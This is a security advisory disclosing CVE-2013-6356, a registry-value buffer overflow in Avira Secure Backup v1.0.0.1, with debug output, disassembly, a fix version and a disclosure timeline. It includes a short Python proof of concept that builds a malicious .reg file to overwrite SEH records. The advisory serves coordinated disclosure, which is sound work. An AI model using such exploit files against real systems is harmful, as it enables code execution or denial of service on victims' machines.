RCE Security Advisory
http://www.rcesecurity.com
1. ADVISORY INFORMATION
-----------------------
Product: Avira Secure Backup
Vendor URL: www.avira.com
Type: Improper Restriction of Operations within the Bounds of
a Memory Buffer [CWE-119]
Date found: 2013-10-30
Date published: 2013-11-16
CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE: CVE-2013-6356
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
--------------------
Avira Secure Backup v1.0.0.1 Build 3616
4. VULNERABILITY DESCRIPTION
----------------------------
A buffer overflow vulnerability has been identified in Avira Secure
Backup v1.0.0.1 Build 3616.
The application loads the values of the Registry Keys
"AutoUpdateDownloadFilename" and "AutoUpdateProgressFilename" from
"HKEY_CURRENT_USER\Software\Avira Secure Backup" on startup but does not
properly validate the length of the fetched values before using them in
the further application context, which leads to a buffer overflow
condition with possible persistent code execution.
The application queries the values via a RegQueryValueExW call and a
fixed buffer pointer (lpData) and a fixed buffer size pointer
(lpcbData). If the input string size is greater than the predefined
size, the application uses a second RegQueryValueExW call with the new
buffer size set to the length of the input string, but reuses the
original buffer pointer (lpData), which has not been resized. This
results in overwriting memory space inlcuding SEH - records.
An attacker needs to force the victim to import an arbitrary .reg file
in order to exploit the vulnerability. Successful exploits can allow
attackers to execute arbitrary code with the privileges of the user
running the application. Failed exploits will result in a
denial-of-service condition. The attack scenario is persistent, because
the code is executed as long as the manipulated values are loaded into
the Registry.
5. DEBUG INFORMATION
--------------------
Call stack of main thread
Address Returns to Procedure / arguments Called
from
0012EB48 77DA6F87 <JMP.&ntdll.memmove> ADVAPI32.77DA6F82
0012EB4C 0012ECBC dest = 0012ECBC
0012EB50 0015760C src = 0015760C
0012EB54 00002712 n = 2712 (10002.)
0012EC28 77DA708B ADVAPI32.77DA6E02 ADVAPI32.77DA7086
0012EC60 0043F15D Includes ADVAPI32.77DA708B Avira_Se.0043F15B
0012EC9C 0043F3F8 Avira_Se.0043F0D2 Avira_Se.0043F3F3
0012F5B4 00CC00CC *** CORRUPT ENTRY ***
The vulnerable code part of Avira Secure Backup.exe:
0043F0D2 PUSH EBP
0043F0D3 MOV EBP,ESP
0043F0D5 SUB ESP,10
0043F0D8 PUSH EBX
0043F0D9 PUSH ESI
0043F0DA MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>;
ADVAPI32.RegOpenKeyExW
0043F0E0 PUSH EDI
0043F0E1 LEA EAX,DWORD PTR SS:[EBP-8]
0043F0E4 PUSH EAX ; /pHandle
0043F0E5 PUSH 20019 ; |Access
0043F0EA XOR EBX,EBX ; |
0043F0EC PUSH EBX ; |Reserved => 0
0043F0ED PUSH DWORD PTR SS:[EBP+C] ; |Subkey
0043F0F0 MOV BYTE PTR SS:[EBP-1],BL ; |
0043F0F3 PUSH DWORD PTR SS:[EBP+8] ; |hKey
0043F0F6 MOV DWORD PTR SS:[EBP-C],820 ; |
0043F0FD CALL ESI ; \RegOpenKeyExW
0043F0FF MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>;
ADVAPI32.RegQueryValueExW
0043F105 TEST EAX,EAX
0043F107 JNZ SHORT Avira_Se.0043F133
0043F109 LEA EAX,DWORD PTR SS:[EBP-C]
0043F10C PUSH EAX ; /pBufSize
0043F10D PUSH DWORD PTR SS:[EBP+14] ; |Buffer
0043F110 LEA EAX,DWORD PTR SS:[EBP-10] ; |
0043F113 PUSH EAX ; |pValueType
0043F114 PUSH EBX ; |Reserved => NULL
0043F115 PUSH DWORD PTR SS:[EBP+10] ; |ValueName
0043F118 PUSH DWORD PTR SS:[EBP-8] ; |hKey
0043F11B CALL EDI ; \RegQueryValueExW
0043F11D TEST EAX,EAX
0043F11F JNZ SHORT Avira_Se.0043F125
0043F121 MOV BYTE PTR SS:[EBP-1],1
0043F125 PUSH DWORD PTR SS:[EBP-8] ; /hKey
0043F128 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
0043F12E CMP BYTE PTR SS:[EBP-1],BL
0043F131 JNZ SHORT Avira_Se.0043F16E
0043F133 LEA EAX,DWORD PTR SS:[EBP-8]
0043F136 PUSH EAX
0043F137 PUSH 20119
0043F13C PUSH EBX
0043F13D PUSH DWORD PTR SS:[EBP+C]
0043F140 PUSH DWORD PTR SS:[EBP+8]
0043F143 CALL ESI
0043F145 TEST EAX,EAX
0043F147 JNZ SHORT Avira_Se.0043F16E
0043F149 LEA EAX,DWORD PTR SS:[EBP-C]
0043F14C PUSH EAX
0043F14D PUSH DWORD PTR SS:[EBP+14]
0043F150 LEA EAX,DWORD PTR SS:[EBP-10]
0043F153 PUSH EAX
0043F154 PUSH EBX
0043F155 PUSH DWORD PTR SS:[EBP+10]
0043F158 PUSH DWORD PTR SS:[EBP-8]
0043F15B CALL EDI
0043F15D TEST EAX,EAX
0043F15F JNZ SHORT Avira_Se.0043F165
0043F161 MOV BYTE PTR SS:[EBP-1],1
0043F165 PUSH DWORD PTR SS:[EBP-8] ; /hKey
0043F168 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
0043F16E XOR EAX,EAX
0043F170 CMP BYTE PTR SS:[EBP-1],BL
0043F173 POP EDI
0043F174 POP ESI
0043F175 SETNE AL
0043F178 POP EBX
0043F179 LEAVE
0043F17A RETN
6. PROOF-OF-CONCEPT (CODE / EXPLOIT)
------------------------------------
Use the following code to exploit the vulnerability:
#!/usr/bin/python
file="poc.reg"
junk1="\xCC" * 1240
poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Avira Secure Backup]\n"
poc=poc + "\"AutoUpdateProgressFilename\"=\"" + junk1 + "\""
try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";
7. SOLUTION
-----------
Update to v1.0.0.2 Build 3630 or later
8. REPORT TIMELINE
------------------
2013-10-30: Discovery of the vulnerability
2013-11-03: RCE Security sends first notification to vendor via mail
with disclosure date set to 18. November 2013
2013-11-03: MITRE assigns CVE-2013-6356 for this issue
2013-11-04: Vendor ACKs the vulnerability
2013-11-10: RCE Security asks for a status
2013-11-11: Vendor expects to receive a fix the same day
2013-11-13: Vendor releases v1.0.0.2 Build 3630 which fixes CVE-2013-6356
2013-11-16: Coordinated Disclosure
9. REFERENCES
-------------
http://www.rcesecurity.com/2013/11/cve-2013-6356-avira-secure-backup-v1-0-0-1-buffer-overflow-anatomy-of-a-vulnerability/
